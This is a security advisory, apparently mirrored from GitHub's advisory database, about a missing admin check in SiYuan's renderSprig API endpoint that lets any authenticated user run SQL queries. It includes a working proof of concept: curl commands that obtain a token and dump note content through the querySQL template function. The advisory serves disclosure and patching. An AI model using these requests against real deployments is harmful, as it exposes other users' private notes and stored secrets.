GHSA-4J3X-HHG2-FM2X
Vulnerability from github – Published: 2026-03-13 20:56 – Updated: 2026-03-16 22:00Summary
POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
Details
File: kernel/api/router.go
Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:
// Missing CheckAdminRole
ginServer.Handle("POST", "/api/template/renderSprig",
model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints
ginServer.Handle("POST", "/api/template/render",
model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:
(*templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) {
ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check
return
}
Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
# Step 1: Login and retrieve API token
curl -s -X POST http://localhost:6806/api/system/loginAuth \
-H "Content-Type: application/json" \
-d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \
-b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
# Step 2: Execute SQL as non-admin user
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
Confirmed response on v3.6.0:
{"code":0,"msg":"","data":"[{\"n\":0}]"}
Full note dump:
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
Impact
Any authenticated user (API token holder, Publish Service Reader) can: - Dump all note content and document hierarchy from the workspace - Exfiltrate tags, custom attributes, block IDs, and timestamps - Search notes for stored passwords, API keys, or personal data - Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32704"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:56:47Z",
"nvd_published_at": "2026-03-16T14:19:41Z",
"severity": "MODERATE"
},
"details": "### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n// Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n model.CheckAuth, renderSprig)\n\n// Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check\n return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"authCode\":\"test123\"}\u0027 -c /tmp/siy.cookie\n\nsleep 15 # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d \u0027{}\u0027 \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027conf\u0027][\u0027api\u0027][\u0027token\u0027])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}\u0027\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}\u0027\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users\u0027 notes.",
"id": "GHSA-4j3x-hhg2-fm2x",
"modified": "2026-03-16T22:00:21Z",
"published": "2026-03-13T20:56:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32704"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/issues/17209"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan\u0027s renderSprig has a missing admin check that allows any user to read full workspace DB"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.